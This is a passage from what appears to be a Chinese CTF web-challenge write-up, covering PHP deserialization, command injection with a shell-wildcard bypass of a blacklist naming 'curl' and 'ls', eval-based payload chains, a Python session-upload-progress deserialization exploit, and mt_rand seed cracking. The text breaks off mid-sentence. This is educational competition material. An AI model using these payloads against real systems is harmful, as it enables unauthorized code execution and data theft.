id=\"Pineapple\"\u003ePineapple\u003c/h2\u003e\u003cp\u003e通过扫描可以发现存在git源码泄露,进一步发现index.php中存在反序列化点:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$info\u003c/span\u003e = @\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;info\u0026#x27;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e = @\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;lyric\u0026#x27;\u003c/span\u003e]; \u003cspan class=\"comment\"\u003e// php://input\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"keyword\"\u003eisset\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e)\u0026amp;\u0026amp;(@file_get_contents(\u003cspan class=\"variable\"\u003e$lyric\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#x27;r\u0026#x27;\u003c/span\u003e)===\u003cspan class=\"string\"\u003e\u0026quot;I want to eat pineapple\u0026quot;\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e unserialize(\u003cspan class=\"variable\"\u003e$info\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e及工具类Blog:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eBlog\u003c/span\u003e\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$file\u003c/span\u003e=\u003cspan class=\"string\"\u003e\u0026quot;Music\u0026quot;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__destruct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e)\u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e = [\u003cspan class=\"string\"\u003e\u0026quot;\\\u0026quot;\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;ls\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;curl\u0026quot;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026quot;-\u0026quot;\u003c/span\u003e];\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e// PATH中存在的文件名基本都ban了\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eforeach\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$blacklist\u003c/span\u003e \u003cspan class=\"keyword\"\u003eas\u003c/span\u003e \u003cspan class=\"variable\"\u003e$key\u003c/span\u003e =\u0026gt; \u003cspan class=\"variable\"\u003e$value\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(stripos(\u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;file,\u003cspan class=\"variable\"\u003e$value\u003c/span\u003e))\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003edie\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026quot;Attack!\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e system(\u003cspan class=\"string\"\u003e\u0026quot;php ./templates/\u003cspan class=\"subst\"\u003e$this\u003c/span\u003e-\u0026gt;file.php\u0026quot;\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e且提示了flag存在于templates/Secrets.php文件中\u003cbr\u003e显而易见,Blog类system函数的调用中存在命令拼接,而shell中的通配符可以帮助我们绕过waf\u003cbr\u003e所以令 \u003ccode\u003eBlog-\u0026gt;file = \u0026quot;;/???/???\\t./templates/Secrets\u0026quot;;\u003c/code\u003e 即可\u003c/p\u003e\u003ch2 id=\"Regex-and-PHP-are-the-best\"\u003eRegex and PHP are the best\u003c/h2\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e\u0026lt;?php\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#x27;;\u0026#x27;\u003c/span\u003e === preg_replace(\u003cspan class=\"string\"\u003e\u0026#x27;/[^\\W]+\\((?R)?\\)/\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e, \u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;code\u0026#x27;\u003c/span\u003e])) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eeval\u003c/span\u003e(\u003cspan class=\"variable\"\u003e$_GET\u003c/span\u003e[\u003cspan class=\"string\"\u003e\u0026#x27;code\u0026#x27;\u003c/span\u003e]);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125; \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e show_source(\u003cspan class=\"keyword\"\u003e__FILE__\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e网上能搜到原题,此处总结一下各种可能能利用的函数\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003ccode\u003egetallheaders()\u003c/code\u003e (在5.5.7之前只存在于apache php模块中)\u003c/li\u003e\u003cli\u003e\u003ccode\u003eget_defined_vars()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003esession_id(session_start())\u003c/code\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e还存在一个比较刁钻的payload:\u003cbr\u003e\u003ccode\u003ereadfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))))\u003c/code\u003e\u003c/p\u003e\u003ch2 id=\"can-u-see-the-flag\"\u003ecan u see the flag\u003c/h2\u003e\u003cp\u003e首先通过extract变量覆盖读phpinfo:\u003ccode\u003efunc=extract\u0026amp;func_0=phpinfo\u003c/code\u003e\u003cbr\u003e可以发现php版本为7.0.33\u003c/p\u003e\u003cp\u003e回到变量覆盖,发现实际上无法直接进行反序列化,遂回到phpinfo继续寻找突破口\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e其实此时可以通过fuzz找出可以接收一个数组作为参数的函数发现session反序列化\u003c/p\u003e\u003c/blockquote\u003e\u003cfigure class=\"highlight ini\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.serialize_handler\u003c/span\u003e = php_serialize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.upload_progress.enabled\u003c/span\u003e = \u003cspan class=\"literal\"\u003eOn\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"attr\"\u003esession.upload_progress.cleanup\u003c/span\u003e = \u003cspan class=\"literal\"\u003eOff\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e可以发现上述配置项允许我们通过session注入进行反序列化\u003cbr\u003e再次回到变量覆盖,将\u003ccode\u003efunc_0\u003c/code\u003e覆盖为\u003ccode\u003esession_start\u003c/code\u003e。\u003cbr\u003e此时,要进行反序列化还需要更改\u003ccode\u003eserialize_handler\u003c/code\u003e,观察php文档发现session_start可以接受一个\u003ccode\u003e$opts\u003c/code\u003e参数更改session相关配置。之后就是烦人的套娃了\u003c/p\u003e\u003cp\u003e所以第一关的exploit如下:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e phpserialize \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e serialize\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efrom\u003c/span\u003e requests \u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e session\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses = session()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003ehost = \u003cspan class=\"number\"\u003e1\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_r\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_e\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_w\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003emaker_q\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eget_flag\u003c/span\u003e:\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e get1 = \u003cspan class=\"string\"\u003e\u0026#x27;get_flag::flag1\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e protected_get2 = \u003cspan class=\"string\"\u003e\u0026#x27;\\\\f1a9\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e q1 = get_flag()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_q2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e w1 = maker_q()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_w2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e e1 = maker_w()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e private_e2 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e r1 = \u003cspan class=\"literal\"\u003eNone\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e r2 = maker_e()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003epayload = serialize(maker_r())\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.get(host + \u003cspan class=\"string\"\u003e\u0026#x27;/welcome.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;func\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;extract\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;func_0\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;session_start\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/welcome.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;func\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;extract\u0026#x27;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#x27;func_0\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;session_start\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;, files=\u0026#123;\u003cspan class=\"string\"\u003e\u0026#x27;a\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;b\u0026#x27;\u003c/span\u003e\u0026#125;, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;PHP_SESSION_UPLOAD_PROGRESS\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;|\u0026#x27;\u003c/span\u003e + payload\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 此时session文件中的内容为:https://paste.ubuntu.com/p/QBsH3gyx8q/,挺有趣的\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eret = ses.post(host + \u003cspan class=\"string\"\u003e\u0026#x27;/welcome.php\u0026#x27;\u003c/span\u003e, params=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;func\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;extract\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;func_0\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;session_start\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;, data=\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;serialize_handler\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;php\u0026#x27;\u003c/span\u003e,\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#x27;s\u0026#x27;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#x27;something\u0026#x27;\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;).text\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprint\u003c/span\u003e(ret)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e根据第一关的答案,我们能拿到第二关的源码,并且知道了第二关flag的位置。在classes.php中我们发现有两个key,其中admin_key没有给出,而出题人提示两个key的生成方式如下:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title\"\u003eSecret\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$maker_key\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"variable\"\u003e$admin_key\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003e__construct\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;admin_key = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;gen_secret();\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;maker_key = \u003cspan class=\"keyword\"\u003e$this\u003c/span\u003e-\u0026gt;gen_secret(\u003cspan class=\"number\"\u003e10\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// )l)h3X3Gye\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003efunction\u003c/span\u003e \u003cspan class=\"title\"\u003egen_secret\u003c/span\u003e(\u003cspan class=\"params\"\u003e\u003cspan class=\"variable\"\u003e$len\u003c/span\u003e = \u003cspan class=\"number\"\u003e8\u003c/span\u003e\u003c/span\u003e) \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#x27;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^\u0026amp;*()\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e = \u003cspan class=\"string\"\u003e\u0026#x27;\u0026#x27;\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"variable\"\u003e$i\u003c/span\u003e = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e \u0026lt; \u003cspan class=\"variable\"\u003e$len\u003c/span\u003e; \u003cspan class=\"variable\"\u003e$i\u003c/span\u003e++ )\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e .= substr(\u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e, mt_rand(\u003cspan class=\"number\"\u003e0\u003c/span\u003e, strlen(\u003cspan class=\"variable\"\u003e$chars\u003c/span\u003e) - \u003cspan class=\"number\"\u003e1\u003c/span\u003e), \u003cspan class=\"number\"\u003e1\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"variable\"\u003e$passwd\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003emt_rand\u003c/code\u003e随机数生成器非密码学安全\u003cbr\u003e可以利用工具(比如php_mt_seed)爆破出seed,得到\u003ccode\u003eadmin_key = 